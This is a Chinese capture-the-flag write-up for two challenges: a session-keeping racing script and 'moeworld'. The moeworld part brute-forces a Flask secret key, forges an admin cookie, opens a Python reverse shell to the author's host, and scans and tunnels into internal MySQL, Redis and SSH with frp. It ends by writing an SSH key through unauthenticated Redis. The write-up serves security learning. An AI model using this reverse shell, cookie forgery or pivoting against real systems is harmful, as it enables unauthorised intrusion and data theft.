gas!gas!gas!

一个让我们熟悉脚本的题目,提交方式是post表单,重点是会话保持用到了requests模块中的session。

直接看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url="http://localhost:8199/"

params={
'driver':'asfdasdfasfd','steering_control':'0','throttle':'0'
}

session = requests.session()

response=session.post(url=url,data=params)
text=response.text
response.close()


for i in range(0,10):
if '弯道直行' in text :
params['steering_control'] = 0
elif '弯道向左' in text:
params['steering_control'] = 1
elif '弯道向右' in text:
params['steering_control'] = -1

if '保持这个速度' in text :
params['throttle'] = 1
elif '抓地力太小了' in text :
params['throttle'] = 0
elif '抓地力太大了' in text :
params['throttle'] = 2

response = session.post(url=url, data=params)
text = response.text
response.close()

print(text)

因为需要连续操作而不是独立操作,我们需要保持会话状态,不要让每次都是比赛开始,于是使用了requests的session,session可以在内部自动保存并且更新cookie,从而实现会话保持。

moeworld

注册账号后进入,提到了flask框架,并且给了密钥,只有几位是随机数,直接查看session,可以用脚本来爆破出后四位随机数,然后伪造自己是admin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
""" Flask Session Cookie Decoder """
import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key


class FSCM:
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)

@staticmethod
def decode(session_cookie_value, secret_key=None):
try:
if secret_key is None:
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)


if __name__ == "__main__":
cnt = 1
key = "This-random-secretKey-you-can't-getc686" #爆破出来的真实key放在这
print(FSCM.encode(key,"{'power': 'admin', 'user': 'yoo2i'}")) #构造新session的时候去掉这行代码的注释,并且把下边全部注释掉

while True:
cookie_value = 'eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InlvbzJpIn0.ZR7D2Q.Jwc4xTmgeYwQCzw8o9Pd2dIk1WM' #放session的
secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
if secret_key:
result = FSCM.decode(cookie_value, secret_key)
else:
result = FSCM.decode(cookie_value)
cnt += 1
print(result, cnt)
if 'power' in result:
print(result, secret_key, 'YES')
break

获得新session后粘进去,成为admin了,发现已经给了pin码,进入控制台。

可以执行命令了,开始反弹shell,我用python弹的

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的主机的ip地址或者域名",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

弹shell要有公网ip的(因为要让它能找到你的机器嘛),我最开始用的局域网ip还疑惑为什么弹不上,没有公网ip的话也可以进行内网穿透来做,我这里只有netapp能用。

弹shell成功后查看/flag和/readme

现在我们已经拿到了一台服务器的权限,要进行内网渗透了。

首先cat /etc/hosts查看到了两个ip,拿fscan扫它./fscan -h 172.20.0.4/16 -nobr -nopoc

根据readme的规则确定压缩文件密码是22-3306-6379-8080

查看一下hint,确定了我们还要拿下两台服务器,一台是跑着mysql一台跑着redis。

为了在我们自己的电脑上访问内网的服务器,还要做一次内网穿透,服务器自带了frp这个工具帮助我们。也是踩坑最多的点

首先在自己电脑上启动frps,配置文件如下

1
2
3
4
5
6
7
8
9
[common]
bind_port = 54321#是你反弹shell监视的端口
token = 123456#理解成验证码就可以

#下边都不重要
dashboard_port = 6556
dashboard_user = admin
dashboard_pwd = admin

./frps -c frps.ini

然后是服务器上的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[common]
#服务器ip
server_addr = server.natappfree.cc
#服务端与客户端之间通信使用的端口号,也就是你虚拟机内网穿透以后的虚拟地址端口号
server_port = 38995
token = 123456

[ssh]
type = tcp
local_ip = 172.20.0.2
local_port = 22
remote_port = 6666

[mysql]
type = tcp
local_ip = 172.20.0.3
local_port = 3306
remote_port = 3306
custom_domains = server.natappfree.cc #你的frp的server的ip

[redis]
type = tcp
local_ip = 172.20.0.2
local_port = 6379
remote_port = 7777
custom_domains = server.natappfree.cc #你的frp的server的ip

./frpc -c /home/ctf/haha.ini

这样就打通了你的攻击机和目标服务器的隧道了,这些服务都被映射到了本地,可以本机访问了。

先看mysql的

mysql配置信息在靶机app目录下有

mysql -h 127.0.0.1 -P 3306 -u root -p

有一张flag表,拿下第二部分flag。

再看redis

发现能免密登录,并且22端口打开,肯定有.ssh文件夹,尝试利用redis写ssh公钥,推荐看Redis常见漏洞利用方法总结|Redis未授权访问漏洞利用方式 - 🔰雨苁ℒ🔰 (ddosi.org)

这个和mysql也一样,都被映射到本地了,用127.0.0.1就可以访问。

最终写入成功,ssh可以免密登录了

ssh root@127.0.0.1 -p 6666

查看最后一部分flag,圆满完成,很新奇的体验,足足花了两天还是在校内师傅的指点下